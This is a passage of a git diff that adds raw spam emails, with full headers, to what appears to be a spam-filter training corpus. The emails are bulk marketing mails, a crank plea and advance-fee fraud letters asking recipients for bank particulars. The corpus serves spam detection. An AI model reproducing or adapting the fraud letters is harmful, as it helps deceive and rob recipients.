    PRICE: US$ 2.3
    + + + +
    WE PRODUCE = +MORE THAN 70=20 + DIFFERENT DESIGN AND=20 + +

    SIZE OF  DC, = +GEAR AND AC=20 + MOTORS, THEY ARE=20 + SUITABLE 

    +

    FOR OPERATION=20 + TOYS, HOUSEHOLD = +APPLIANCES, RECORDS,

    +

    SCOOTER,=20 + VIBRATOR, GENERATOR, WHEELCHAIR=20 + ETC.

    +

    -----ANY ENQUIRY=20 + ARE WELCOME-----

    +

    Hing Lung Motor=20 + Mfy,  Hong Kong    Tel :=20 + 852-24218309     =20 + 852-24259526      Fax:=20 + 852-24817148           =20 +

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b/bayes/spamham/spam_2/00183.47b495fc7ebd7807affa6425de6419b3 new file mode 100644 index 0000000..358fe63 --- /dev/null +++ b/bayes/spamham/spam_2/00183.47b495fc7ebd7807affa6425de6419b3 @@ -0,0 +1,60 @@ +From info@internationalfreecall.com Mon Jun 24 17:44:02 2002 +Return-Path: dmeizys@host11.websitesource.com +Delivery-Date: Fri Mar 29 05:29:30 2002 +Received: from host11.websitesource.com (host11.websitesource.com + [209.239.38.72]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g2T5TTA09392 for ; Fri, 29 Mar 2002 05:29:29 GMT +Received: (from dmeizys@localhost) by host11.websitesource.com + (8.10.2/8.10.2) id g2T5TSd11847; Fri, 29 Mar 2002 00:29:28 -0500 +Message-Id: <200203290529.g2T5TSd11847@host11.websitesource.com> +To: users@spamassassin.taint.org +From: Free Phone Calls! +Date: Fri, 29 Mar 2002 05:01:01 +0000 +X-Mailer: Envex Developments +X-Mailer-Info: http://www.envex.net/ +Subject: Your First 100 Free Minutes of Long Distance! Your First 100 Free + Minutes of Long Distance! +Content-Type: text/plain +X-Status: +X-Keywords: + + +Hello Unlimited International Telephone Call Marketer, + +If you ordered a flat-rate domestic calling product or a 20 minute free trial using a local access number, your service will be operating in about 24-48 hours or on your designated trial date and time. Please try dialing the access number you found on your reseller's web page at: + +http://www.internationalfreecall.com + +If you ordered a flat-rate domestic calling product using a 1-800 toll-free access number, your service will be operating within 1-2 work days. + +Please try dialing 1-866-865-4548. + +In either case, when your service is switched on, you will hear a voice ask you to dial the number you are calling. + +You must dial 1+area code+7 digit number followed by # to make any calls: local or long distance. + +Example - To call www.internationalfreecall.com, you would dial the following after dialing your access number and listening for the voice: + +1-410-608-8178# + +Please use this service for all your calling and you will never pay more than your monthly fee again. There are no taxes or surcharges, so dial away! + +Finally, I recommend entering the access number into your speed dial settings on your telephone. This will make your service quicker and easier to use, and thus more enjoyable. + +If you have any questions, please contact us for more information. + +In addition, if you need product enhancements like 3-way calling, portable calling cards, international calling products, or marketing tools, please visit: + +http://www.internationalfreecall.com + +In the meantime, the other network on this free calling promotion is OPEX, which is offering 100 minutes of free long distance for trying their program. + +Opex's usual rates are 4.5 cents per minute for domestic calls, with great international rates, too! + +For more information on OPEX, or to sign up, please click below: + +http://cognigen.net/opex/main.cgi?lietuva + +To unsubscribe from this mailing list, please click on: + +http://www.internationalfreecall.com/cgi-bin/aefs/subscribe.cgi?user=info&listid=1.list&id=1543 diff --git a/bayes/spamham/spam_2/00184.b4c342594f571eeb609a47b313ac35fe b/bayes/spamham/spam_2/00184.b4c342594f571eeb609a47b313ac35fe new file mode 100644 index 0000000..ada188d --- /dev/null +++ b/bayes/spamham/spam_2/00184.b4c342594f571eeb609a47b313ac35fe @@ -0,0 +1,60 @@ +From info@internationalfreecall.com Mon Jun 24 17:44:02 2002 +Return-Path: dmeizys@host11.websitesource.com +Delivery-Date: Fri Mar 29 05:33:31 2002 +Received: from host11.websitesource.com (host11.websitesource.com + [209.239.38.72]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g2T5XUA09604 for ; Fri, 29 Mar 2002 05:33:30 GMT +Received: (from dmeizys@localhost) by host11.websitesource.com + (8.10.2/8.10.2) id g2T5XUT12942; Fri, 29 Mar 2002 00:33:30 -0500 +Message-Id: <200203290533.g2T5XUT12942@host11.websitesource.com> +To: yyyy@spamassassin.taint.org +From: Free Phone Calls! +Date: Fri, 29 Mar 2002 05:01:01 +0000 +X-Mailer: Envex Developments +X-Mailer-Info: http://www.envex.net/ +Subject: Your First 100 Free Minutes of Long Distance! Your First 100 Free + Minutes of Long Distance! +Content-Type: text/plain +X-Status: +X-Keywords: + + +Hello Unlimited International Telephone Call Marketer, + +If you ordered a flat-rate domestic calling product or a 20 minute free trial using a local access number, your service will be operating in about 24-48 hours or on your designated trial date and time. Please try dialing the access number you found on your reseller's web page at: + +http://www.internationalfreecall.com + +If you ordered a flat-rate domestic calling product using a 1-800 toll-free access number, your service will be operating within 1-2 work days. + +Please try dialing 1-866-865-4548. + +In either case, when your service is switched on, you will hear a voice ask you to dial the number you are calling. + +You must dial 1+area code+7 digit number followed by # to make any calls: local or long distance. + +Example - To call www.internationalfreecall.com, you would dial the following after dialing your access number and listening for the voice: + +1-410-608-8178# + +Please use this service for all your calling and you will never pay more than your monthly fee again. There are no taxes or surcharges, so dial away! + +Finally, I recommend entering the access number into your speed dial settings on your telephone. This will make your service quicker and easier to use, and thus more enjoyable. + +If you have any questions, please contact us for more information. + +In addition, if you need product enhancements like 3-way calling, portable calling cards, international calling products, or marketing tools, please visit: + +http://www.internationalfreecall.com + +In the meantime, the other network on this free calling promotion is OPEX, which is offering 100 minutes of free long distance for trying their program. + +Opex's usual rates are 4.5 cents per minute for domestic calls, with great international rates, too! + +For more information on OPEX, or to sign up, please click below: + +http://cognigen.net/opex/main.cgi?lietuva + +To unsubscribe from this mailing list, please click on: + +http://www.internationalfreecall.com/cgi-bin/aefs/subscribe.cgi?user=info&listid=1.list&id=1676 diff --git a/bayes/spamham/spam_2/00185.3bc6159431883bb008a8cf973facadb3 b/bayes/spamham/spam_2/00185.3bc6159431883bb008a8cf973facadb3 new file mode 100644 index 0000000..b0c78a8 --- /dev/null +++ b/bayes/spamham/spam_2/00185.3bc6159431883bb008a8cf973facadb3 @@ -0,0 +1,63 @@ +From info@internationalfreecall.com Mon Jun 24 17:44:03 2002 +Return-Path: dmeizys@host11.websitesource.com +Delivery-Date: Fri Mar 29 05:35:15 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g2T5ZEA09685 for + ; Fri, 29 Mar 2002 05:35:14 GMT +Received: from host11.websitesource.com (host11.websitesource.com + [209.239.38.72]) by mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP + id g2T5Z7215864 for ; Fri, 29 Mar 2002 05:35:08 GMT +Received: (from dmeizys@localhost) by host11.websitesource.com + (8.10.2/8.10.2) id g2T5Z6Z14064; Fri, 29 Mar 2002 00:35:06 -0500 +Message-Id: <200203290535.g2T5Z6Z14064@host11.websitesource.com> +To: yyyy@netnoteinc.com +From: Free Phone Calls! +Date: Fri, 29 Mar 2002 05:01:01 +0000 +X-Mailer: Envex Developments +X-Mailer-Info: http://www.envex.net/ +Subject: Your First 100 Free Minutes of Long Distance! Your First 100 Free + Minutes of Long Distance! +Content-Type: text/plain +X-Status: +X-Keywords: + + +Hello Unlimited International Telephone Call Marketer, + +If you ordered a flat-rate domestic calling product or a 20 minute free trial using a local access number, your service will be operating in about 24-48 hours or on your designated trial date and time. Please try dialing the access number you found on your reseller's web page at: + +http://www.internationalfreecall.com + +If you ordered a flat-rate domestic calling product using a 1-800 toll-free access number, your service will be operating within 1-2 work days. + +Please try dialing 1-866-865-4548. + +In either case, when your service is switched on, you will hear a voice ask you to dial the number you are calling. + +You must dial 1+area code+7 digit number followed by # to make any calls: local or long distance. + +Example - To call www.internationalfreecall.com, you would dial the following after dialing your access number and listening for the voice: + +1-410-608-8178# + +Please use this service for all your calling and you will never pay more than your monthly fee again. There are no taxes or surcharges, so dial away! + +Finally, I recommend entering the access number into your speed dial settings on your telephone. This will make your service quicker and easier to use, and thus more enjoyable. + +If you have any questions, please contact us for more information. + +In addition, if you need product enhancements like 3-way calling, portable calling cards, international calling products, or marketing tools, please visit: + +http://www.internationalfreecall.com + +In the meantime, the other network on this free calling promotion is OPEX, which is offering 100 minutes of free long distance for trying their program. + +Opex's usual rates are 4.5 cents per minute for domestic calls, with great international rates, too! + +For more information on OPEX, or to sign up, please click below: + +http://cognigen.net/opex/main.cgi?lietuva + +To unsubscribe from this mailing list, please click on: + +http://www.internationalfreecall.com/cgi-bin/aefs/subscribe.cgi?user=info&listid=1.list&id=1680 diff --git a/bayes/spamham/spam_2/00186.614733215984b78299813313394a4ed3 b/bayes/spamham/spam_2/00186.614733215984b78299813313394a4ed3 new file mode 100644 index 0000000..0b8ac41 --- /dev/null +++ b/bayes/spamham/spam_2/00186.614733215984b78299813313394a4ed3 @@ -0,0 +1,37 @@ +From info@internationalfreecall.com Mon Jun 24 17:44:03 2002 +Return-Path: dmeizys@host11.websitesource.com +Delivery-Date: Fri Mar 29 05:36:51 2002 +Received: from host11.websitesource.com (host11.websitesource.com + [209.239.38.72]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g2T5aoA09701 for ; Fri, 29 Mar 2002 05:36:50 GMT +Received: (from dmeizys@localhost) by host11.websitesource.com + (8.10.2/8.10.2) id g2T5anS15641; Fri, 29 Mar 2002 00:36:49 -0500 +Message-Id: <200203290536.g2T5anS15641@host11.websitesource.com> +To: users@spamassassin.taint.org +From: Free Phone Calls! +Date: Fri, 29 Mar 2002 05:01:01 +0000 +X-Mailer: Envex Developments +X-Mailer-Info: http://www.envex.net/ +Subject: Re: Your Opportunity at http://iiu.taint.org/pipermail/iiu/2000-November/000644.html +Content-Type: text/plain +X-Status: +X-Keywords: + + + +Hello, + +I found your opportunity posted at: +http://iiu.taint.org/pipermail/iiu/2000-November/000644.html + +If you want additional places to advertise your opportunity, plus get a free email follow-up system to process your replies, visit: + +http://www.newslist.net + +or just reply to this message. + +Note: You will automatically be removed from this list if you DO NOT reply to this message. + +Replying will re-subscribe you to our marketing tips newsletter. + +info@newslist.net diff --git a/bayes/spamham/spam_2/00187.3fb9a7078bff0530ea52484a32c5d7e0 b/bayes/spamham/spam_2/00187.3fb9a7078bff0530ea52484a32c5d7e0 new file mode 100644 index 0000000..c65c11c --- /dev/null +++ b/bayes/spamham/spam_2/00187.3fb9a7078bff0530ea52484a32c5d7e0 @@ -0,0 +1,40 @@ +From info@internationalfreecall.com Mon Jun 24 17:44:04 2002 +Return-Path: dmeizys@host11.websitesource.com +Delivery-Date: Fri Mar 29 05:42:27 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g2T5gRA09870 for + ; Fri, 29 Mar 2002 05:42:27 GMT +Received: from host11.websitesource.com (host11.websitesource.com + [209.239.38.72]) by mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP + id g2T5gL215879 for ; Fri, 29 Mar 2002 05:42:21 GMT +Received: (from dmeizys@localhost) by host11.websitesource.com + (8.10.2/8.10.2) id g2T5gK719937; Fri, 29 Mar 2002 00:42:20 -0500 +Message-Id: <200203290542.g2T5gK719937@host11.websitesource.com> +To: yyyy@netnoteinc.com +From: Free Phone Calls! +Date: Fri, 29 Mar 2002 05:01:01 +0000 +X-Mailer: Envex Developments +X-Mailer-Info: http://www.envex.net/ +Subject: Re: Your Opportunity at http://iiu.taint.org/pipermail/iiu/2000-November/000608.html +Content-Type: text/plain +X-Status: +X-Keywords: + + + +Hello, + +I found your opportunity posted at: +http://iiu.taint.org/pipermail/iiu/2000-November/000608.html + +If you want additional places to advertise your opportunity, plus get a free email follow-up system to process your replies, visit: + +http://www.newslist.net + +or just reply to this message. + +Note: You will automatically be removed from this list if you DO NOT reply to this message. + +Replying will re-subscribe you to our marketing tips newsletter. + +info@newslist.net diff --git a/bayes/spamham/spam_2/00188.b12197b37ceb97fa0cd802566c1e08db b/bayes/spamham/spam_2/00188.b12197b37ceb97fa0cd802566c1e08db new file mode 100644 index 0000000..e4d7a9c --- /dev/null +++ b/bayes/spamham/spam_2/00188.b12197b37ceb97fa0cd802566c1e08db @@ -0,0 +1,60 @@ +From gintare@netzero.net Mon Jun 24 17:44:21 2002 +Return-Path: dmeizys@host11.websitesource.com +Delivery-Date: Sun Mar 31 06:05:51 2002 +Received: from host11.websitesource.com (host11.websitesource.com + [209.239.38.72]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g2V55oA03513 for ; Sun, 31 Mar 2002 06:05:51 +0100 +Received: (from dmeizys@localhost) by host11.websitesource.com + (8.10.2/8.10.2) id g2V55kt24035; Sun, 31 Mar 2002 00:05:46 -0500 +Message-Id: <200203310505.g2V55kt24035@host11.websitesource.com> +To: yyyy@spamassassin.taint.org +From: Free Phone Calls! +Date: Sun, 31 Mar 2002 05:01:02 +0000 +X-Mailer: Envex Developments +X-Mailer-Info: http://www.envex.net/ +Subject: Your First 100 Free Minutes of Long Distance! Your First 100 Free + Minutes of Long Distance! +Content-Type: text/plain +X-Status: +X-Keywords: + + +Hello ~name~, + +If you ordered a flat-rate domestic calling product or a 20 minute free trial using a local access number, your service will be operating in about 24-48 hours or on your designated trial date and time. Please try dialing the access number you found on your reseller's web page at: + +http://www.internationalfreecall.com + +If you ordered a flat-rate domestic calling product using a 1-800 toll-free access number, your service will be operating within 1-2 work days. + +Please try dialing 1-866-865-4548. + +In either case, when your service is switched on, you will hear a voice ask you to dial the number you are calling. + +You must dial 1+area code+7 digit number followed by # to make any calls: local or long distance. + +Example - To call www.internationalfreecall.com, you would dial the following after dialing your access number and listening for the voice: + +1-410-608-8178# + +Please use this service for all your calling and you will never pay more than your monthly fee again. There are no taxes or surcharges, so dial away! + +Finally, I recommend entering the access number into your speed dial settings on your telephone. This will make your service quicker and easier to use, and thus more enjoyable. + +If you have any questions, please contact us for more information. + +In addition, if you need product enhancements like 3-way calling, portable calling cards, international calling products, or marketing tools, please visit: + +http://www.internationalfreecall.com + +In the meantime, the other network on this free calling promotion is OPEX, which is offering 100 minutes of free long distance for trying their program. + +Opex's usual rates are 4.5 cents per minute for domestic calls, with great international rates, too! + +For more information on OPEX, or to sign up, please click below: + +http://cognigen.net/opex/main.cgi?lietuva + +To unsubscribe from this mailing list, please click on: + +http://www.internationalfreecall.com/cgi-bin/aefs/subscribe.cgi?user=info&listid=3.list&id=5576 diff --git a/bayes/spamham/spam_2/00189.074fe7fad584aa9243fadc6d16f8c186 b/bayes/spamham/spam_2/00189.074fe7fad584aa9243fadc6d16f8c186 new file mode 100644 index 0000000..8604569 --- /dev/null +++ b/bayes/spamham/spam_2/00189.074fe7fad584aa9243fadc6d16f8c186 @@ -0,0 +1,60 @@ +From gintare@netzero.net Mon Jun 24 17:44:22 2002 +Return-Path: dmeizys@host11.websitesource.com +Delivery-Date: Sun Mar 31 06:05:58 2002 +Received: from host11.websitesource.com (host11.websitesource.com + [209.239.38.72]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g2V55vA03526 for ; Sun, 31 Mar 2002 06:05:57 +0100 +Received: (from dmeizys@localhost) by host11.websitesource.com + (8.10.2/8.10.2) id g2V55vK24098; Sun, 31 Mar 2002 00:05:57 -0500 +Message-Id: <200203310505.g2V55vK24098@host11.websitesource.com> +To: users@spamassassin.taint.org +From: Free Phone Calls! +Date: Sun, 31 Mar 2002 05:01:02 +0000 +X-Mailer: Envex Developments +X-Mailer-Info: http://www.envex.net/ +Subject: Your First 100 Free Minutes of Long Distance! Your First 100 Free + Minutes of Long Distance! +Content-Type: text/plain +X-Status: +X-Keywords: + + +Hello ~name~, + +If you ordered a flat-rate domestic calling product or a 20 minute free trial using a local access number, your service will be operating in about 24-48 hours or on your designated trial date and time. Please try dialing the access number you found on your reseller's web page at: + +http://www.internationalfreecall.com + +If you ordered a flat-rate domestic calling product using a 1-800 toll-free access number, your service will be operating within 1-2 work days. + +Please try dialing 1-866-865-4548. + +In either case, when your service is switched on, you will hear a voice ask you to dial the number you are calling. + +You must dial 1+area code+7 digit number followed by # to make any calls: local or long distance. + +Example - To call www.internationalfreecall.com, you would dial the following after dialing your access number and listening for the voice: + +1-410-608-8178# + +Please use this service for all your calling and you will never pay more than your monthly fee again. There are no taxes or surcharges, so dial away! + +Finally, I recommend entering the access number into your speed dial settings on your telephone. This will make your service quicker and easier to use, and thus more enjoyable. + +If you have any questions, please contact us for more information. + +In addition, if you need product enhancements like 3-way calling, portable calling cards, international calling products, or marketing tools, please visit: + +http://www.internationalfreecall.com + +In the meantime, the other network on this free calling promotion is OPEX, which is offering 100 minutes of free long distance for trying their program. + +Opex's usual rates are 4.5 cents per minute for domestic calls, with great international rates, too! + +For more information on OPEX, or to sign up, please click below: + +http://cognigen.net/opex/main.cgi?lietuva + +To unsubscribe from this mailing list, please click on: + +http://www.internationalfreecall.com/cgi-bin/aefs/subscribe.cgi?user=info&listid=3.list&id=5587 diff --git a/bayes/spamham/spam_2/00190.ee2ea200e7efa602221c6492f9d9d8c0 b/bayes/spamham/spam_2/00190.ee2ea200e7efa602221c6492f9d9d8c0 new file mode 100644 index 0000000..e240a47 --- /dev/null +++ b/bayes/spamham/spam_2/00190.ee2ea200e7efa602221c6492f9d9d8c0 @@ -0,0 +1,63 @@ +From gintare@netzero.net Mon Jun 24 17:44:23 2002 +Return-Path: dmeizys@host11.websitesource.com +Delivery-Date: Sun Mar 31 06:06:07 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g2V566A03551 for + ; Sun, 31 Mar 2002 06:06:06 +0100 +Received: from host11.websitesource.com (host11.websitesource.com + [209.239.38.72]) by mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP + id g2V55x227984 for ; Sun, 31 Mar 2002 06:06:00 +0100 +Received: (from dmeizys@localhost) by host11.websitesource.com + (8.10.2/8.10.2) id g2V55wj24111; Sun, 31 Mar 2002 00:05:58 -0500 +Message-Id: <200203310505.g2V55wj24111@host11.websitesource.com> +To: yyyy@netnoteinc.com +From: Free Phone Calls! +Date: Sun, 31 Mar 2002 05:01:02 +0000 +X-Mailer: Envex Developments +X-Mailer-Info: http://www.envex.net/ +Subject: Your First 100 Free Minutes of Long Distance! Your First 100 Free + Minutes of Long Distance! +Content-Type: text/plain +X-Status: +X-Keywords: + + +Hello ~name~, + +If you ordered a flat-rate domestic calling product or a 20 minute free trial using a local access number, your service will be operating in about 24-48 hours or on your designated trial date and time. Please try dialing the access number you found on your reseller's web page at: + +http://www.internationalfreecall.com + +If you ordered a flat-rate domestic calling product using a 1-800 toll-free access number, your service will be operating within 1-2 work days. + +Please try dialing 1-866-865-4548. + +In either case, when your service is switched on, you will hear a voice ask you to dial the number you are calling. + +You must dial 1+area code+7 digit number followed by # to make any calls: local or long distance. + +Example - To call www.internationalfreecall.com, you would dial the following after dialing your access number and listening for the voice: + +1-410-608-8178# + +Please use this service for all your calling and you will never pay more than your monthly fee again. There are no taxes or surcharges, so dial away! + +Finally, I recommend entering the access number into your speed dial settings on your telephone. This will make your service quicker and easier to use, and thus more enjoyable. + +If you have any questions, please contact us for more information. + +In addition, if you need product enhancements like 3-way calling, portable calling cards, international calling products, or marketing tools, please visit: + +http://www.internationalfreecall.com + +In the meantime, the other network on this free calling promotion is OPEX, which is offering 100 minutes of free long distance for trying their program. + +Opex's usual rates are 4.5 cents per minute for domestic calls, with great international rates, too! + +For more information on OPEX, or to sign up, please click below: + +http://cognigen.net/opex/main.cgi?lietuva + +To unsubscribe from this mailing list, please click on: + +http://www.internationalfreecall.com/cgi-bin/aefs/subscribe.cgi?user=info&listid=3.list&id=5590 diff --git a/bayes/spamham/spam_2/00191.514dbda1bd10302e5c1d269837df0c66 b/bayes/spamham/spam_2/00191.514dbda1bd10302e5c1d269837df0c66 new file mode 100644 index 0000000..61b0f58 --- /dev/null +++ b/bayes/spamham/spam_2/00191.514dbda1bd10302e5c1d269837df0c66 @@ -0,0 +1,93 @@ +From webmaster@dk.com Mon Jun 24 17:47:59 2002 +Return-Path: webmaster@dk.com +Delivery-Date: Wed Apr 3 17:09:03 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g33G92A27478 for + ; Wed, 3 Apr 2002 17:09:02 +0100 +Received: from chimta04.algx.net (chimta04.algx.net [216.99.233.79]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id g33G8t214074; + Wed, 3 Apr 2002 17:08:56 +0100 +Received: from algx.net (64-48-78-23-bos-02.cvx.algx.net [64.48.78.23]) by + chimmx04.algx.net (iPlanet Messaging Server 5.1 (built May 7 2001)) with + SMTP id <0GU0006E81UTWZ@chimmx04.algx.net>; Wed, 03 Apr 2002 10:01:43 + -0600 (CST) +Date: Wed, 03 Apr 2002 07:38:56 +0000 +From: webmaster@dk.com +Subject: Time Travelers PLEASE HELP!!! +To: yyyy7@netnoteinc.com +Message-Id: <0GU0006E91UUWZ@chimmx04.algx.net> +Content-Transfer-Encoding: 7BIT +X-Status: +X-Keywords: + +If you are a time traveler or alien disguised as human and or have +the technology to travel physically through time I need your help! + +My life has been severely tampered with and cursed!! +I have suffered tremendously and am now dying! + +I need to be able to: + +Travel back in time. + +Rewind my life including my age back to 4. + +I am in very great danger and need this immediately! + +I am aware of two types of time travel one in physical form and +the other +in energy form where a snapshot of your brain is taken using +either the +dimensional warp or the carbon copy replica device and then sends +your consciousness +back through time to part with your younger self. Please explain +how safe and what your method involves. + +I have a time machine now, but it has limited abilitys and is +useless +without +a vortex. + +If you can provide information on how to create vortex generator +or +where I can get some of the blue glowing moon crystals this would +also +be helpful. I am however concerned with the high level of +radiation these +crystals give off, if you could provide a shielding that would be +great. +I believe the vortex needs to be east-west polarized, +North-south polarized vortexexs are used for cross-dimensional +time +travel only. + + +Only if you have this technology and can help me exactly as +mentioned +please send me a (SEPARATE) email to: IneedTimeTravel@aol.com + +Please do not reply if your an evil alien! +Thanks + + + + + + + + + + + + + + + + + + + + + + + diff --git a/bayes/spamham/spam_2/00192.f2c49e0edfc9d9c861da1e6368cb7d12 b/bayes/spamham/spam_2/00192.f2c49e0edfc9d9c861da1e6368cb7d12 new file mode 100644 index 0000000..09b8965 --- /dev/null +++ b/bayes/spamham/spam_2/00192.f2c49e0edfc9d9c861da1e6368cb7d12 @@ -0,0 +1,74 @@ +From abbyman@mweb.co.za Mon Jun 24 17:48:02 2002 +Return-Path: abbyman@mweb.co.za +Delivery-Date: Wed Apr 3 22:21:54 2002 +Received: from kknd.mweb.co.za (kknd.mweb.co.za [196.2.45.79]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g33LLoA05692 for + ; Wed, 3 Apr 2002 22:21:52 +0100 +Received: from rdg-dial-196-30-235-94.mweb.co.za ([196.30.235.94] + helo=abbyman) by kknd.mweb.co.za with smtp (Exim 4.01) id 16sqZy-0000Ws-00 + for nospam@jmason.org; Wed, 03 Apr 2002 21:38:01 +0200 +From: Ayanda Maredi +To: nospam@spamassassin.taint.org +Subject: MY PLEA FOR ASSISTANCE PLEASE +X-Mailer: Microsoft Outlook Express 5.00.2615.200 +Reply-To: ayandamaredi@imailbox.com +Date: Wed, 3 Apr 2002 21:39:17 -0800 +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Message-Id: +X-Status: +X-Keywords: + + +MR. AYANDA MAREDI +DEPARTMENT OF MINERALS AND ENERGY +PRETORIA, SOUTH AFRICA. + + +Good morning, + +It is my great pleasure to write you this letter on behalf of my colleagues. +I venture to write to you perhaps you will see it fit to assist my +colleagues and I in all honesty as we attempt to seek your assistance. + +I have decided to seek a confidential co-operation with you in the execution +of a deal hereunder for the benefit of all parties and hope you will keep it +confidential because of the nature of this business. + +Within the Department of Minerals and Energy where I work as a Director +of Audit and Project implementation, with the co-operation of two other top officials, we +have in our possession an overdue payment in US funds. + +The said funds represent certain percentage of the contract value executed +on behalf of my Department by a foreign contracting firm, which we the officials over-invoiced to the +amount of US$29,200,000.00 (Twenty-Nine Million Two Hundred Thousand US Dollars). +Though the actual contract cost has been paid to the original contractor, leaving the +excess balance unclaimed. + +Since the present elected Government is determined to pay foreign contractors all debts owed, +so as to maintain good relations with foreign governments and non-governmental +agencies, we included our bills for approvals with the Department of Finance and the +Reserve Bank of South Africa (RBSA). We are seeking your assistance to front as the +beneficiary of the unclaimed funds, since we are not allowed to operate foreign accounts. +Details and change of beneficiary information upon application for claim to reflect payment and +approvals will be secured on behalf of You/your Company. + +I have the authority of my colleagues involved to propose that should you be willing to assist us in +this transaction your share as compensation will be US$7.3m (25%) while my colleagues and I receive +US$18.98m (65%) and the balance of US$2.92m (10%) for taxes and miscellaneous expenses incurred. + +This business is completely safe and secure, provided you treat it with utmost confidentiality. +It does notmatter whether You/your Company does contract projects, as a transfer of +powers will be secured in favour of You/your Company. Also, your specialization is not a +hindrance to the successful execution of this transaction. I have reposed my confidence in you +and hope that you will not disappoint us. + +Kindly notify me by telephone on 27-83-750 9598 or fax 27-73-219 9975 for +further details upon your acceptance of this proposal. + +May God's blessings be with you even as you reply. + +Regards, + + +MR. AYANDA MAREDI diff --git a/bayes/spamham/spam_2/00193.d68a324fdbe164f166b58e7852903065 b/bayes/spamham/spam_2/00193.d68a324fdbe164f166b58e7852903065 new file mode 100644 index 0000000..e679dbc --- /dev/null +++ b/bayes/spamham/spam_2/00193.d68a324fdbe164f166b58e7852903065 @@ -0,0 +1,52 @@ +From fork-admin@xent.com Wed Jul 3 12:34:58 2002 +Return-Path: +Delivered-To: yyyy@localhost.labs.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix on SuSE Linux 8.0 (i386)) with ESMTP id C48CF14F8EE + for ; Wed, 3 Jul 2002 12:31:48 +0100 (IST) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 03 Jul 2002 12:31:48 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g46NMp231007 for ; + Tue, 7 May 2002 00:22:51 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 4A55E294115; Mon, 6 May 2002 16:15:01 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from xent.com (unknown [212.100.64.80]) by xent.com (Postfix) + with SMTP id 0D50D294098 for ; Mon, 6 May 2002 16:14:56 + -0700 (PDT) +From: "DR MARKUS PHILLIPS" +Date: Sun, 07 Apr 2002 03:25:35 +To: fork@spamassassin.taint.org +Subject: BUSINESS ASSISTANCE +MIME-Version: 1.0 +Content-Type: text/plain;charset="iso-8859-1" +Message-Id: <20020506231456.0D50D294098@xent.com> +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Friends of Rohit Khare +X-Beenthere: fork@spamassassin.taint.org +Content-Transfer-Encoding: 7bit + + +Dear Sir. + +First, I must solicit your confidence in this transaction, this is by virture of its nature as being utterly confidencial and top secret. all though i know that a transaction of this magnitude will make any one apprehensive and worried, but I am assuring you that all will be well at the end of the day.we have decided to contact you due to the urgency of this transaction, let me start by introducing myself properly to you. + +I am the Manager Bills and Exchange of Foreign Remittance Department of Union Bank of NIgeria (U.B.N. Headquarters Lagos Nigeria) formally Union Bank of Switzerland(UBS-AG Zurich Switzerland). In accordance with Federal Government Policies on indiginalization Law on company and Allied matters of Jan 1977. I am writing you this letter to ask for your support and co-operation to carry out this transaction.We discovered an abandoned sum of US$7. 5 million(Seven Million Five Hundred Thousand United States Dollars) in an account that belongs to one of our Foreign customer who died along side his entire family in November 1997 in a plane crash. Since this development, we have advertised for his next of kin or any close relation to come forward to claim this money, but nobody came to apply for the claim.To this effect, I and two other officials in my department, have decided to look for a trusted foreign partner who can stand in as the next of kin to the deceased and claim this money. + +We need !a foreign partner to apply for the claim because of the fact that the customer was a foreigner and we don't want this money to go into the Banks Treasury as unclaimed fund. Every document to affect this process will emanate from my table and I will perfect every document to be in accordance with the banking law and guidelines, So you have nothing to worry about.We have agreed that 20% of the money will be for you, 10% for expenses incurred on both sides, 10% will be donated to the charity organization while 60% will be for my colleagues and I. + +If you are going to help me, indicate by replying this letter and putting in your BANK PARTICULARS, PRIVATE TELEPHONE AND FAX NUMBERS.I await your immediate reply to enable us start this transaction in earnest.Once I receive your reply, I will send you the Text of application for immediate application of Claim. + +Yours faithfully, + +DR MARKUS PHILLIPS. + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/spam_2/00194.91b4c441362e802a64154349c6451b7c b/bayes/spamham/spam_2/00194.91b4c441362e802a64154349c6451b7c new file mode 100644 index 0000000..a68e7be --- /dev/null +++ b/bayes/spamham/spam_2/00194.91b4c441362e802a64154349c6451b7c @@ -0,0 +1,37 @@ +From drphillips@management.com Wed Jul 3 12:34:56 2002 +Return-Path: +Delivered-To: yyyy@localhost.labs.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix on SuSE Linux 8.0 (i386)) with ESMTP id 9050714F8ED + for ; Wed, 3 Jul 2002 12:31:47 +0100 (IST) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 03 Jul 2002 12:31:47 +0100 (IST) +Received: from dogma.boxhost.net ([212.100.64.80]) by dogma.slashnull.org + (8.11.6/8.11.6) with SMTP id g46NJr230824 for ; + Tue, 7 May 2002 00:19:55 +0100 +Message-Id: <200205062319.g46NJr230824@dogma.slashnull.org> +From: "DR MARKUS PHILLIPS" +Date: Sun, 07 Apr 